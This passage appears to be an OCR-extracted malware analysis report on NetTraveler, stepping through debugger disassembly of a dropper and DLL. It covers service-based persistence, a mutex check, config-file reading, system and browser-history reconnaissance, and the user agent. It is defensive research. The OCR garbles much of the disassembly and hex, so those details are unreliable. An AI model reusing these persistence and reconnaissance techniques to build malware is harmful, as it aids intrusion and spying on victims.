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- — e - s g m e —— e —ew
- 53 push ebx
®|( 004015 51 push ecx
®|( 004015A8 &8 00 B6 0D 0O push B60DOD
®|( 004015AD &8 40 BO 40 00 push apt.408040
® |l 004015E2 57 push edi
Eg—» FF DO call eax eax:writerile
®|(004015B5 &8 F4 01 0D 0O push 1F4
& 004015BA FF 15 40 90 40 00 €all dword ptr ds:[<&Sleep>]
i >

eax=<kernel3z.writeFile> (7637E250)

-text: 00401583 apt.exe;$15B3 #9B3

IAdE 00000184
1¥=ILlotal® fpn19EES0 | 0040B040 | apt.0040B040
0013EE54 | DODDBEOD
0013EE5E | 0019FCCE
0013EE5C | 00000000
0013EEG0 | 00402808 | apt. EntryPoint
0013EEG4 | 00000148
0013EEGE | 00274000
D019EEEC | 67657240
DO19EE7D | 64646120
D019EE74 | 48482220
0013EETE | 4C5F5945
0013EETC | 4C41434F
0013EE80 | 43414D5F
0013EEG4| 454E4948
0013EESE | 5359535C
0013EESC | 5CAD4554
0019EE90 | 72727543
DO19EE94 | 437 46E65
DO19EE9E | 727 46E6F
D019EESC | 655 36C6F
0019E 65535074
0013EEA4 | 63697672
0013EEAS | 465CT365
0013EEAC | 55747361

Woump1  @oump2  Woump3  WDump4  WWoumps @ watchi
Address | Hex
0040B040 4D 5A 90 00|03 00 00 00|04 00 00 00

-~

0040BO50| B8 00 0O 00|00 00 OO0 00|40 OO0 0O OO
0040B060| 00 00 OO OO|00 00 OO 00|00 OO0 00 OO0
0040B0O70| 00 00 OO 00|00 00 OO0 00|00 00 00 OO0
0040BOB0 | 0OE 1F BA OE|00 B4 09 CD|21 BB 01 4C
0040B090| 69 73 20 70|72 6F 67 72|61 6D 20 63
0040BOAO (74 20 &2 €5|20 72 75 6E|20 &9 GE 20
0040BOBO | 6D 6F 64 65|2E OD OD 0A|24 00 00 OO0
0040BOCO| 2B 2B 9C CD|6F 4A F2 9E|6F 4A F2 SE
0040BODO| 31 68 F2 SE|6D 4A F2 9E|14 56 FE 9E
0040BOED|EC 56 FC SE|GB 4A F2 9E|00 55 F8 9E
0040BOFD| 00 55 F6 SE|GB 4A F2 9E|00 55 F9 9E
0040B100| 6F 4A F3 SE|CF 4A F2 9E|EC 42 AF 9E|7
0040B110|59 &C F9 9E|69 4A F2 9E|90 6A F6 9E
0040B120|52 €9 63 68|6F 4A F2 9E|00 00 00 0O
0040B130|50 45 00 00| 4C 01 04 00|7C FC 5A 4F
0040B140| 00 00 00 OD|ED 00 OE 21|0B 01 06 DO
0040B150( 00 E8 00 0OO|00 00 OO 0O0O|1B BC 00 OO
0040B160( 00 90 00 0OO|00 00 OO0 10|00 10 00 OO
0040B170| 04 00 00 00|00 00 OO 00|04 00 0O OO
0040B180| 00 AD Ol OO|00 04 OO0 00|00 OO0 0O OO
0040B1%0| 00 00 10 00|00 10 00 00|00 00 10 OO

Figure 23

It’s worth mentioning that registering a DLL file as a service is a persistence mechanism. The newly created service is

started using StartServiceA API and the flow of execution is passed to the DLL export function ServiceMain:

! ® |l 00401689 57 push edi
| ® | 0040168A 57 push edi
i # |l 00401688 53 push ebx
FF DO call eax eax:StartServiceA
i #|( 0040168E 53 push ebx
{ ®| D040168F FF D& €&l esi esi:CloseserviceHandle
L-—-re| 00401691 FE .75 FC push dword ptr ss:|[febp-4]

< >
eax=<advapi32.startserviceA» (77624600)

.Text:0040168C apt.exe:$168C #ABC

Peoumpl  YDoump2 @Y Dump3  EYDump4 B4 Dump 5 W watch 1 o=l Lodalk mﬁgﬁ

AdAdracs | uaw I acrrr 1 - 1l 0013FCES | 00000000

Figure 24
Section 11
DLL file
SHA256: ED6AD64DADS5FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924

One of the first steps the malware is performing is to invoke GetProcessWindowStation API which returns a handle to
the current window station and then it uses OpenWindowStationA API to open the interactive window station
(“Winsta0”). The process assigns the specified window station (“Winsta0”) which is the only interactive window

station (the service is supposed to be interactive) to the calling process using the SetProcessWindowStation function:

I C e s e e e i e gt e L e e ¢ e 5
®| 10001C6! 68 7F 03 00 00 push 27F
e 10001C6 56 push esi
e 10001CEEB 68 D& B2 00 10 push fastuserswitchingcompatibilityex.l000B2D8 1000B2D8: "winsta0"”
e 10001C70 8B F8 mov_edi,eax
—7e FF 15 D8 91 00 10 €all dword ptr ds:[<&0penwindowstationA>]
®| 10001C78 3B C6 cmp _eax,esi
T« >

S
dword ptr [100091D8 <fastuserswitchingcompatibilityex.&0penwindowStationA>]=<user32.0penwindowStationA>

.Text:10001c72 fastuserswitchingcompatibilityex.d11:$1c72 #1072

i o W i i Y = P 1000B2D8
WWoump1  @oump2  @oump3  @Moumpd  @oumps @ wetch1  Iellocals 4 Stuct  [Doasraas) DODDDDOD
addracs | uav lTacror 1 I . | 00B7F238| OD00037F

Figure 25

"winstao™

As in the first example the process creates a different mutex called “NetTravler Is Running!”. If it exists it will exit

without reinfecting the machine:
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¢ || 1000184 68 CO B2 00 10 push fastuserswitchingcompatibilityex.100082C0 1000B2C0: "NetTravler Is Running!"
& | 10001C8F 6A 01 push 1
& | 10001C91 56 push esi
FF 15 88 90 00 10 call dword ptr ds:[<&CreateMutexa>]
10001C98 A3 54 70 01 10 mov_dword ptr ds:[10017054],eax
10001C3D FF 15 84 90 00 10 €& dword ptr ds:[<&GetLastError>]
10001CA3 3D B7 00 00 0O cmp eax,B7

4
dword ptr [10009088 <fastuserswitchingcompatibilityex.&CreateMutexA>)=<kernel3z.CreateMutexA>

. text:10001C92 fastuserswitchingcompatibilityex.d11:$1C92 #1092

7 00000000
# struct  [0pB7F234| 00000001
O0B7FZ38 | 1000BZCO

Wpump1  @lpump2 Whpump3  @lpump4  @Wloumps @ watch1i | le=llocals
Address | Hex lascTT I '

“NetTravler Is Running!"

Figure 26

Now it retrieves a few elements from the configuration file config_t.dat created by the first process: WebPage,
DownCmdTime, UploadRate, AutoCheck, UP and CheckedSuccess (it doesn’t exist at this time, so the function

returns 0). All of the values are extracted using GetPrivateProfileString and GetPrivateProfileInt APIs:

e | 10004EDE 50 push eax eax: "C: W \WINDOWS\\system\\config_t.
® (| 10004EDF 68 00 01 00 00 push 100
| 10004EE4 63 70 6B 01 10 push fastuserswitchingcompatibilityex.10016B70

10004EE9 68 98 72 01 10 push fastuserswitchingcompatibilityex.10017298

10004EEE 68 98 B8 00 10 push fastuserswitchingcompatibilityex.10008898

10004EF3 53 push ebx

FF 15 A4 50 00 10 €all dword ptr ds:[<&GetPrivateProfileStringas]
® [ 10D04EFA 8B 3D A8 90 00 10 mov edi,dword ptr ds:[<&GetPrivateprofilelnta=]
e 10004F00 8D 44 24 10 lea eax,dword ptr ss:|fesp+10fl
| |Fminizia i = e i) Soel imooaNe e e e
< >

dword ptr [100090A4 <fastuserswitchingcompatibilityex.&GetPrivateProfilestringA>]=<kernel32.GetPrivateProfileStringA>

.text:10004EF4 fastuserswitchingcompatibilityex.d11:$4EF4 #42F4

A 1000B8A0[ "Option™
Woump 1 @oumpz  @pumps  Bloumps  @oumps @ warhi  elloals F smua [OOoTRAOE | 1000898 --wg;;ggg--

Address | Hex | ascIT [~ 00E7FOLO0 |1 10017298| fastuserswitchingcompatibilityex. 10017238
00B7F030 |43 3A 5C 57|49 4E 44 4F|57 53 5C 73|79 73 74 65|(0:\WINDOWS\SysTe At o fBstUs cbsitehingoompetd ity ex 4001600
DONTON O BE W W S B N0 W80 TR OEE SR8 T U0 00 e et o . 0087F0Lc || D0B7F030| “C: \\WINDOWS\\system'\config_t.dat"

Figure 27

0D04F04 push eax eax: "C: Y \WINDOWSY \system\\config_t.
10004F05 00 push o
10004F07 8C B8 00 10 push fastuserswitchingcompatibilityex.1000888C 1000BSSC : "DownCmdTime"
10004F0C push ebx ebx: "Option"
> D7 call edi etPrivateProfileInta
10004FOF 6C 6B 01 10 mov dword ptr ds:[10016B6C],esax eax: "C: Y \WINDOWSY \system\\config_t.

< 2>
edi=<kernel3z.cetPrivateProfileIntA> (76358FD0)

.text:10004F0D fastuserswitchingcompatibilityex.d11:§4F0D #430D

i) 1000B8A0 "Option™
Wioumpt  @houmpz  @oump3  WMDumpa  WWoumps B watch1  bellomal 4 Shuct | [l T ime”

Address | Hex ASCIT | [~ ” 0087F018 [ 00000000 i .
.|1nn1mvn BR 74 74 7|34 PF PF 77177 77 PF 76]R9 70 6D A1|ATTAL /v, winmal 2| 2OSZEIL O [0RZFD30, C-\\.‘"1"30"\‘5\\5ystﬂ“\\(0ﬂf19_(-da'i

Figure 28

o[ 10004F18 50 push eax i g eax: "C:\\WINDOWS\\system\\config_t.

|| 10004F15 6A 0O push 0

e 10004F1B 68 80 B8 00 10 push fastuserswitchingcompatibilityex.10008880 10008880: "Uploadrate”

10004F20 53 push ebx ehx: "Option™
FF D7 C i ed e‘t?_r'vate?r'p_ﬁ'l 3 3
>
edi=<kernel32.GetPrivateProfileIntA> (76358FD0)
. Text:10004F21 Tastuserswitchingcompatibilityex.dl1:$4F21 #4321
3 1000B8A0| "Option"”
Woumpt  Yyoump2  Wloump3  @Hoump4  Wipumps @ watchi  Ix-llocals | Stuct 10008880, "ug‘%uadRate"

Address 'Hex | AscII | [~ | g gttt ; i
TANIERTATERT 74 74 TATR8 58 5F 77177 77 SF TETEa Th &N &1 Wrrn: /e winmal 17 || 00B7F01C [| 00B7F030| "C2 \\WINDOWS\\system\\config_t.dat
Figure 29

e[ 10004F2c TR ;‘n:;h-ga.)'(_ g TR S eax: "Ci\\WINDOWS\\system\\config_t.

& || 10004F2D 6A 00 push 0

®|[ 10004F2F BB 74 BS 00 10 mov ebx,fastuserswitchingcompatibilityex.1000B874 ebx: "OtherTwo", 1000BS874:"0therTwo’

& || 10004F34 68 &8 B8 00 10 push fastuserswitchingcompatibilityex.1000B868 1000B868: "AutoCheck™

®|( 10004F39 53 push ebx ebx: "otherTwo™

e || 10004F3A C7 05 58 B1 00 10 00 28 00/mov_dword ptr ds:[10008158],2800

. FF D7 call edi edi:GetPrivateProfileInta

e == = = T T T e

edi=<kernel32.cetPrivateProfileIntA> (76358FD0)

L text:10004F44 fastuserswitchingcompatibilityex.d11:34F44 #4344

3 1000BB874| "OtherTwo"
Woump1  @loumpz  @hoump3  @loumpe  @houmps @ watch1  [x=lLocals £ struct oo toLia|| LonoESES "Autgzneck"

Address | Hex | AscIz [ [~ |003ch1¢5 0D000000D| ) ”
TnniERnl &R T4 74 7n) 28 38 OB, 77177.77 € SEla 7n &m 1l hrrpe o s —]| 7 || pos7Foic || 00B7F030| "C: \\WINDOWS\\sysTem\\config_t.dat

Figure 30

®| 10004F55 50 push eax eax: "C:\\WINDOWSY\system\config_t.
@ 10004F56 6A 00 push 0
® | 10004F58 68 58 B8 00 10 push fastuserswitchingcompatibilityex.10008858 10008858 "Checkedsuccess”
®( 10004F5D 53 push ebx OtherTwo"
. FF D7 €all edi etPrivateProfilelInta
e[ 10004F60 48 dec eax C: \\WINDOWS\\system\ config_t.
i frpsiminii A e e e e S el
X >

<kernel32.GetPrivateProfileInta> (76358FD0)

. text:10004F5E fastuserswitchingcompatibilityex.d11:$4F5E #435E

; 10008874 "OtherTwo"
Woupt | @Woump2  @Woump3 | @Houmps  @oumps | @ wachi  bellocals | Struct | oot EoTa| 10008858| "Checkedsuccess®

PR 00E7F01E | 00000000]
ress |Hex LD I I,"” 00E7FOILC || 00B7FO20| "C: Y\ \WINDOWS\\System\config_t.dat™

TAnicoTn e 74 74 TNTSA 9E AE 37177 77 A€ TElEa n om £1 e 7 fune e nma |
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Figure 31

. 50 push eax eax: "C: W \WINDOWS\\system\\conTig_t.

. 6A 00 push o

. 63 6C B3 00 10 push fastuserswitchingcompatibilityex.1000B36C 1000B36C: "UP™

® 56 push esi esi:"other”

. FF 15 A8 90 00 10 €all dword ptr ds:[<&GetPrivateProfileIntax]

® [ 100025CF GA 01 push 1

|l 100025D1 59 pop ecx

. | = =5 e el e et e e
<

dword ptr [100090A8 <fastuserswitchingcompatibilityex.aGetPrivateProfilelIntAs»]=<kernel32.cetPrivateProfileInta>

.text:100025C9 fastuserswitchingcompatibilityex.d11:$25C9 #19C9

Woump1 | @lpump2 WUpump3  @pump4 B4 Dump S @ watch 1 [x=l Locals ? Struct | [poe7EFDS

Address | Hex | asc1T | |h”m| 7EFDC
ANRTENRN &% 28 Cr C7148 4F 44 4F(C7 £ GF 72176 73 74 AC|F+ L WIKDOWS, svstal 17" [ 00B7EFEO

Figure 32

1000B2D0 | "Other™
1000B36C P™

00000000

00B7FO30 | "C:\\WINDOWS'\system\\config_t.dat™

Because we’re running the DLL using an executable used by x32dbg to debug the DLL files, the process name is

similar to “DLLLoader32_58D1.exe” (in our case). The malicious process creates a .log file which has the same name
as the executable (“DLLLoader32_58D1.log”):

® || 10005C8E 56 push esi

@[ 10005C8F 63 B0 00 00 00 push 20

®| 10005C34 6A 04 push 4

® | 10005C96 56 push esi

®| 10005CS7T 6A 03 push 3

»| 10005C29 68 00 00 0D 40 push 30000000

® |l 10005C9E 63 88 70 01 10 push fastuserswitchingcompatibilityex.10017088 100L?065:"C:'\'\Usersx'-\'\DEsktop'n
|E TP s £ FF 15 4C 90 00 10 €all dword ptr ds:[<&CreateFileaz]

= e S

dword ptr [1000904C <fastuserswitchingcompatibilityex.&CreaterileA>]=<kernel3z.Createrilea>

.TexT:10005CA3 fastuserswitchingcompatibilityex.dl11:$5CA3 #50A3

2 "C:\\US DeskT DLLLoader3z_58D1. 1og"
Woumpt  @Woump2z  @WDump3  Whoumps  @oumps @ watch1i  [x=lLocals 2 stuct | FooRTEESD | 40000000, Vusers\ Il peskzery —— -

0087E£94 | 0000DDO3
Hex ASCII ~ EEESY

@3 34 5C 50|72 6F 67 72|61 GD 20 46|69 6C 65 73|E:\Program Files DOBZEES% |\ DOO00DON
20 28 78 38|36 29 5C 2A|2E 2A 0D 00|72 00 6F 00| (X86)\* i

67 00 72 00|61 00 6D 00|20 0O 46 00|63 00 6C 00|g.r.a.m. .

O0B7EEDO
0QOB7EEED
00B7EEFD

0087EEA4 || D00DO0DOD|

Figure 33

The file enumerates the directories from “C:\Program File (x86)” and the output is copied to the newly created file:
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IE DLLLoader32_58D1.Jlog B3

1 I:LCI Strike NHetwork File Search Pro\
2  Rhdobe\

3 AllowBlockh

4 Any Sound Recorderh

5 Application Verifier\

& BAudioCoderh

7 Common Filesh

B desktop.ini

8 Detect It Easyh

10 Dev-Cpph

11 DeviceViewerh

12 DICOMviewer demoh

13 Disk Pulse Enterprisel

14 DizkBossh

15 DiskBoss Enterprise’

16 docPrint Pro v8.0%

17 Dup Scout Enterprise’

18 Eazsy Video to iPod Converterh
19 Easy Video to PSP Converterh

20 Easy WMV ASF ASX to DVD Burnerh
21 Entity Framework Toolsh

22 ExeinfoPel

23 Faleemih

24 Fiddler2h

25 Flash Slideshow Maker Professionalh
26 Free MP3 CD Ripperh

27 Frigateh

28 Google®,

28 Graphwvizz.3s\

30 HxD

31 Immnity Inch

3z Imports Fixerh

] InstallShield Installation Informationm®
34 Internet Explorer)

Figure 34

RegOpenKeyExA API is used to open
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders” registry key and
the “History” value is extracted from it using RegQueryValueEx. The content of “History” value is “C:\Users\

<Username>\AppData\Local\Microsoft\Windows\History”:

| 10001149 50 push eax oguCcg e aann
o 1000114A 63 19 00 02 00 push 20019 X87r3 000000OC
o[ 1000114F 53 push ebx X87r4 00000000
o | 10001150 &3 AC BO 00 10 push fastuserswitchingcompatibilityex. 1000B0AC 1000B0AC: "Software\\Wicrosoft\\wind || X87r5 00000000
e| 10001155 68 01 00 00 80 push 8000000 x87r6 00000000
e[ 10001154 83 5E 04 mov dword prr XB7r7 DDOOOOOOD
e| 10001150 89 5E 08 moy_dword ptr
Eg—s FF 15 08 90 00 10 €am dword ptr EgDpEnKEyExAb] xB87Tagword FFF
o 10001166 85 CO test _eax,eax XETTW.0 3 (Emp
r----a[ 10001168 ~ 75 2B jne fastuserswitchingcompatibilityex. 10001195 XE7TW.Z 3 (Emp
i e| 10001164 8 45 F8 lea cax,dword ptr_ss:[eop-3l =
! #| 10001160 C7 45 F8 04 01 00 00 mov dwnrd ptr ss:[febp-sl, 104 x87TW_4 3 (Emp
i e| 10001174 50 push XETTW.G 3 (Emp
i e 10001175 8D 85 F4 FE FF FF §ea eax,dword per ss:[ebp-10c]
| e| 10001278 50 x875tatusword
| [ 1000117C 53 XB7SW_ B 0 XB
i e|1000117D 53 x875W_C1 0 x8
! o 10001176 68 A4 BO 00 10 1000B0A4: "History" XB7SW_SF 0 XB
i e[l10001183 FF 75 FC :[febp-4 mmmin o e
| e|[10001186 FF 15 04 90 00 10 €&l dword ptrds: [ <eregQueryvalueExa>]
b . (" T Tt T — > Default (stdcal)
I T
Gword ptr [10009004 <fastuserswitchinacompatibilityex.&RegQueryvalleExAs]=<advapiss.RegqueryvalueEnas . {2:314] Tee
3: [esp+8] 00OC
.text: 10001186 Fastuserswitchingcompatibilityex.dl1:51186 #586 Sl

80000001
Woumpi  @oump2  Wpumpz  Whoumps  @doumps @ watch1  elthdsooeoeoc| 100080AC
el [ AscIz J| ~ || 0087c0E0 [ 0ooooooo
O0E7F000 [00] 00 00 nu‘nn 00 00 nnlnu 00 00 unlnu 00 00 unl ................ |

ooercoE4 | ooozoo19)

"Sof twar e\ \W1crosoft\\windows\\Currentversion\\Explorer\\shell Folders”

0087C0ES || 00B7C200|

Figure 35

The malware is looking for a file called “C:\Users\

<Username>\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat” which contains Internet browsing
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history activity, including Internet based searches and opened files:

T AR R XB7TW_6 2 (EmpPTy)

57 push edi
68 B0 00 00 00 push so

6A 03 push 2 xB7Statusword 0000
57 push edi XB7SW_B 0

64 03 push 3 XB7SW_C1 0

68 00 00 0O 8O push 80000000

FF 74 24 2C push dword ptr ss:ffesp+2ac]]

FF 15 4C 90 00 10 call dword ptr ds:[<acreaterilea-]

1: [esp] DOB7COF8 "C
dword ptr [1000904C <fastuserswitchingcompatibilityex.&createri 1eA>]=<kernelsz.createrilear 2: {.5814] 830000000
3: [esp+8] 00000003
P A 4: [esp+C]_ 00000000
.TeXt:10001200 fastuserswitchingcompatibilityex.dl1:$1200 #600 5: [esp+10] 00000003

@oup: | Boepz | Bowps | Boma | Bomps | 8 warlh NADDDAta\\L0cal\\W1iCcrosor Ty \Windows\ \H1STOory\ \HiStory. IEs\\1ndex. dat"

ASCIT Py

softwwine | ooezcopo

Figure 36

The process extracts “Version” value from
“HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer” using RegQueryValueEx

function:

100071E3 50 push eax

100071E4 6A 01 push 1

100071 53 push ebx
68 58 BE 00 10 push fastuserswitchingcompatibilityex.1000BESS 1000BES 8: "software\\Microsofti\Inte
68 02 00 00 80 push 80000002
FF 15 08 90 00 10 €@l dword ptr ds:[<8RegOpenkeyExA>]
85 CO test eax,eax

v 75 7D jne fastuserswitchingcompatibilityex. 10007278
6A 40 push 4
8D BD F1 FD FF FF lea edi,dword ptr ss:[ebp-20F]
59 pop ecx
88 9D FO FD FF FF mov byte ptr ss:[febp-z10f,b1
F3 AB repe stosd
66 AB stosw
AA stosh
8D 45 F8 1ea eax,dword ptr_ss:[febp-3j
C7 45 F8 04 01 00 00 mov dword ptr ss:[febp-s],104
50 push eax
8D 85 FO FD FF FF lea eax,dword ptr ss:[febp-210]
50 push eax
53 push ebx
53 push ebx
63 50 BE 00 10 push fastuserswitchingcompatibilityex.1000BE50 1000BES0: "Version”
FF 75 FC push dword ptr ss:[[ebp-4J
FF 15 04 90 00 10 €all dword ptr ds:[<&RegQueryvalueExA>]
85 CO Test eax,eax
& >
dword ptr [10003004 <fastuserswitchingcompatibilityex.&RegQueryvalueExA>]=<advapi32.RegQueryValueExA>
.Text:10007228 fastuserswitchingcompatibilityex.d11:5722B #6628

" " " " " 5 80000002
Woump1  @lpumpz  @oump3  @loump4  @oumps @ watchi | [x=lLocals! P OOETEn04 | 10008E58 "Software\\Microsofty\Internet Explorer”
00B7FOOE || 00000000
00B7FOOC || 00000001
O0B7FOL10 || 00B7F228|

Address | Hex | asciz | ~
00B7F120[49 45 B0 E6|BL BE 3A 20[49 GE 74 65|72 Gb G5 74| IE-zex: Internet|
sl b e el e e e e S

Figure 37

Window 10’s Internet Explorer is Build 916299, Version 9.11.16299.0 as shown in the figure below:

¥ Registry Editor - m| >3
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOWE432Node\Microsoft\Internet Explorer

> || ENROLLMENTS [ editsting X Data
> EnterpriseCertificates (value not set)
> EnterpriseResourceManager Value name: 916299
> | EventSystem ‘Vm" | 0x00000001 (1)
o || Exchange
e Value data: i
e ‘9.11.16295!1 | https://go.microsoft.com/fwlink/linkid={
KB4089187
Feeds
FilePicker 11020
NS 11308 1/200 0

Figure 38

The following information is appended to the .log file: IE History is empty because that file is missing on Windows 10

and the IE version (note that “version” word is written in Chinese language “fRZ4~”):
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-]
ok

-]

FEELLTITTEESESEAT ST EA AT iiiififirss

-1

=1 M

IE History:

L
]

FEELLTITTEESESEAI SIS iiiififirssd

[l
%]

(53}
W L

IEMi#: Internet Explorer §.11.16299.0

Figure 39

GetVersionExA function is utilized to find the current operating system. The recognized versions are: Microsoft
Windows 7, Microsoft Windows Vista, Microsoft Windows 2003, Microsoft Windows 2000, Microsoft Windows XP
and Microsoft Windows NT:

e R e g s pr o rpe o
|| 10006ECT 63 FO BB 00 10 push fastuserswitchingcompatibilityex.1000BEF0 1000BBF0: "Microsoft windows NT *
®|| L0OOGECE 50 push eax
® (| 10006EC7 ES8 18 1B 00 00 €all <fastuserswitchingcompatibilityex.strcat>
|| 10006ECC 59 pop ecx
|| 10006ECD 59 pop ecx
® (| 10006ECE 83 BD 68 FF FF FF 05 cmp dword ptr ss:[lebp-230,5

777777777777 ® (| 10006EDS ~ 75 65 jne fastuserswitchingcompatibilityex.10006F3C
e | 10006ED7 39 90 6C FF FF FF cmp dword ptr ss:|[lebp-24], ebx
--—-#10006EDD| ~ 75 1C jne fastusersm(tmngcumpanhﬂnyex 10006EFB
e || 10006EDF 8D 85 &0 FE FF FF lea eax,dword ptr ssillebp-1A00
|| 10006EES 68 D8 BB 00 10 push fastusers mtcm ngcmpan bilityex.100088D8 10008BD8: "Microsoft windows 2000
®|| 1000OGEEA 50 push eax
® | 10008EER ES F4 1A 00 DO call d‘astusersmtcmngcnmpanm11(yex strecats
®|| 10006EF0 83 BD 68 FF FF FF 05 cmp dword ptr ss:[febp-23],5
|| 10006EF7 59 pop ecx
®|| 10006EFS 59 pop ecx
10006EF9 v 75 41 jne fastuserswitchingcompatibilityex.10006F3C
10006EFE 83 BD 6C FF FF FF 01 cmp dword ptr ss:[lebp-24],1
10006F02 » 73 IC jne fastusersvﬂ:thingtumpanbﬂityek 10006F 20
e[ 10006F04 8D 85 &0 FE FF FF lea eax,dword ptr ss:[lebp-1200
|| 10006FDA 68 CO BB 00 10 push Fa tuserswitchingcompatibilityex. 1000880 10008BCO: "Microsoft windows xp "
|| 10006FOF 50 push e
® | 10006F10 E8 CF 1A 00 DO call d‘astusersmtchmgcnmpanm11(yex strecat>
& || 10006F15 83 BD 68 FF FF FF 05 cmp dword ptr ss:[febp-2
|| 10006F1C 59 pop ecx
|| 10006F1D 59 pop ecx
= 10006F1E ¥ 7% 1T jne fastuserswi:tmngtumpatibih'tyex 10006F 3C
10006F20 83 BD 6C FF FF FF 02 cmp dword ptr ss:[lebp-24,2
10006F27 | +~ 75 5C jne fastuserswucmrngcumpanb111tyex 10006F85
& |[ 10006F29 8D 85 &0 FE FF FF lea eax,dword ptr ss:[febp-1
|| 10006F2F 68 A8 BB 00 10 push fastuserswitchi ngcmpan bilityex.1000BBAS 10008BAS: "Microsoft windows 2003
& || 10006F34 50 push eax
# || 10006F35 ES AA 1A 00 00 €all <fastuserswitchingcompatibilityex.strcat>
& || 10D0GF3A 59 pop ecx
¢ || 10006F38 59 pop ecx
10006F3C 83 BD 68 FF FF FF 06 cmp dword ptr ss:[[ebp-23],6
77777777 ® (| 10006F43 ~ 75 40 jne fastuserswitchingcom) at'ib'i1'ityex.10006Fas
10006F45 39 9D 6C FF FF FF cmp dword ptr ss:|[ebp-24]
10006F 4B = 7§ iC jne fastusersm[chmgcumpanbﬂnyex.10006F6'3
10006F4D 8D 85 60 FE FF FF lea eax,dword ss:|ffebp
10006F53 68 8C BB 00 10 push fa;tu;ers'.ntcmngco’rpatmﬂuyex 1000BBSC 1000BBS8C: "Microsoft windows vista °
10006F58 50 push eax
10006F59 E8 86 1A 00 00 call dastusersmtcmngcmpann1'|1{yex strcat>
10006FSE 83 BD 68 FF FF FF 06 cmp dword ptr ss:|[ebp-23],6
10006F65 59 pop ecx
10006F66 59 pop ec
10006F67 ~ 75 1C jne fastusersm(chmgcum at1b111tyex.10006F35
10006F69 83 BD 6C FF FF FF 01 cmp dword ptr ss:[febp-
10006F70 ~ 75 13 jne fastusersm[chmgcumpanhﬂnyex.10006F35
o0 >
1000BBFO "Microsoft windows NT *

.text:10006ECL fastuserswitchingcompatibilityex.d11:$6EC1 #62C1

Woump 1 @oumpz  WWoump3  WDump4  WDump5 @ watch1  IelLocald P fSEETEED ogoooasgg
oo87EF38 || 00000001

CEIID - * |l ooezerac || oooooooo

63|6F 6E 73 00[4D 69 63 72|6F 73 6F 66| Options.Microsof aoe7er40 || oooooooo)
69|6E 64 6F 77|73 37 20 004D 69 63 72|t windows? .micr noerzF44 || oo000000!
66|74 20 57 69|6E 64 6F 77|73 20 56 69|osoft windows vi aoe7er 48 || pooooooo)
20|00 00 DO 004D 69 63 72|6F 73 6F 66|5ta ....Microsof 00B7EF4C || 00000000
69|6E 64 6F 77|73 20 32 30(30 33 20 00|t wWindows 2003 . oos7erFs0 || oooooooo
72|6F 73 &F 66|74 20 57 69|6E 64 6F 77 |Microsoft window noe7zFs 4 || ooooo000!
50|20 00 OO0 004D 69 63 72|6F 73 6F 66|5 XP ...Microsof one7ers5 s || oooooooo)
69|6E 64 6F 77|73 20 32 30|30 30 20 00|t windows 2000 . noerzrec || oooooooo!
72|6F 73 6F 66|74 20 57 69|6E 64 6F 77 |Microsoft window ooe7erso || oooooooo)
54[20 00 00 00|B2 D9 D7 F7|CF B5 €D B3|5 NT =Ux=IpI= 5 K| R

Figure 40

It also extracts the “ProductType” value from
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions” registry key. On our system the

value is equal to “WinNT”:
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® || 10006F88 50 push eax
® || 10006F89 64 01 push 1
o || 10006F8B 53 push ebx
| 10006F8C 68 43 BB 00 10 push fastuserswitchingcompatibilityex.10008848 1000BB48: "SYSTEM\\CUFrrentcontrolset
®| 10006F91 68 02 00 00 80 push 80000002
y—>e FF 15 08 90 00 10 €all dword ptr ds:[<&RegOpenKeyExA>]
e[ 10006F3C 8D 45 FB lTea eax,dword ptr ss:[lebp-:sj
o 100 9F 50 push eax
e || 10006FAD 8D 85 10 FE FF FF lea eax,dword ptr ss:[Jebp-1Foj
o | 10006FAG 50 push eax
o[ 10006FA7 53 push ebx
ef 100 53 push ebx
e || 10006FAD 68 3C BB 00 10 push fastuserswitchingcompatibilityex.1000BB3C 1000BB3C: "ProductType”
e[ 10006FAE FF 75 FC push dword ptr ss:[febp-
= | 1o00eFE1 FF 15 04 90 00 10 call dword ptr ds: [<&ReglQueryvalueExas] v
* < >
dword ptr [10002004 <fastuserswitchingcompatibilityex.&RegQueryvalueExA>]=<advapi32.RegQueryvalueExA>
.text:10006FB1 fastuserswitchingcompatibilityex.d11:$6FBL #63B1
" " " " " & 80000002
Woump1  @oump2  @oump3  @oumps  @oumps B0 wath1  lxellocalst B PEECTEEON  DO0BR4E "SYSTEM\\CurrentControlset\\Control\\Productoptions”
00B7EFZ4 | 00000000
Address | Hex ASCII
10008870 4% 70 74 &3]6F = 73 004D 65 63 72|6F 73 & SBI‘Dptions.Microsofi ° nuBgERcs | Dnonnon1,
Tannooonlsa sa £3 calee £a e 77033 57 an anlan fa £3 79+ WindmaeT 0 e BB POl DORALZ2H

Figure 41

The following string is appended to the .log file: “#{ERSThRAS” translates to “Operating system version”:

(&4
Nk

LTSS

(s}
)]

(55}
=]

B{ERYME: Professional, (Build 9200)

Figure 42

The user agent used in the network communications is always set to “Mozilla/4.0 (compatible; MSIE 6.0)”. There is

also an Accept request HTTP header as shown below:

! ® | 10001ASF 53 push ebx

i | 10001AG0 53 push ebx

! e 10001A61 53 push ebx

| ¢ | 10001462 6A 01 push 1

H @ 10001A64 68 F4 Bl 00 10 push fastuserswitchingcompatibilityex.1000B1F4 1000B1F4:"Mozi11a/4.0 (compatible;
i | 10001469 FF 15 0C 92 00 10 €all dword ptr ds:[<&InternetOpenA>]

! ® || 10001A6F 38 C3 onp eax, ebx

: e | 10001471 89 45 E3 mov_dword ptr ss:[febp-15], eax [ebp-18]: "REM"
! (----#(10001A74| - OF 84 AD 01 00 00 je fastuserswitchingcompatibilityex.10001C27

! o | =2 et

i <

eCcx=00B7E83F

.text:10001A5D fastuserswitchingcompatibilityex.d11:$1A5D #ESD

1 i i i " & DOB7E798| "Accept: image/gif, image/x-xbitmap, image/jpeg
@oump 1 gjoump2  Whoump3  WhDump 4 WHDumps @ wathi  ellecast P OSETTRERN  0n0e21s “Accept: image/gif, image/x-xbitmap, image/jped,
30

e ASCIT = 00000150

OOB7E798 |41 63 63 65|70 74 3A 20|69 GD 61 67|65 2F &7 69| Accept: image/g1 ooopador
0OB7E7AS|66 2C 20 69|60 61 67 65(2F 78 2D 78|62 69 74 60|T, image/x-xbitm 00B7E7SC || 20347 470
